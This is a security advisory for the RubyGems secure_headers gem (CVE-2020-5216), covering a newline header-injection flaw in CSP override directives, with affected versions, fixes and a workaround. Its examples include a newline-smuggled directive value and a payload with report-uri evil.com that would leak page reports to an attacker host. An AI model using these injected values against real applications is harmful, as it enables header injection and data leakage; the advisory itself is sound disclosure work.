GHSA-w978-rmpf-qmwg
Limited header injection when using dynamic overrides with user input in RubyGems secure_headers
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| RubyGems | secure_headers | >= 6.0.0, < 6.3.0 | 6.3.0 |
| RubyGems | secure_headers | >= 5.0.0, < 5.2.0 | 5.2.0 |
| RubyGems | secure_headers | < 3.9.0 | 3.9.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.
Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.
e.g.
```ruby
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])`
```
would result in
```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
```
CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:
```ruby
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"])
```
```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
```
### Patches
This has been fixed in 6.3.0, 5.2.0, and 3.9.0
### Workarounds
```ruby
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
```
### References
https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new)
* DM us at @ndm on twitter
References
External links from the advisory. They lead to third-party sites.
- https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg
- https://nvd.nist.gov/vuln/detail/CVE-2020-5216
- https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0
- https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml
- https://github.com/twitter/secure_headers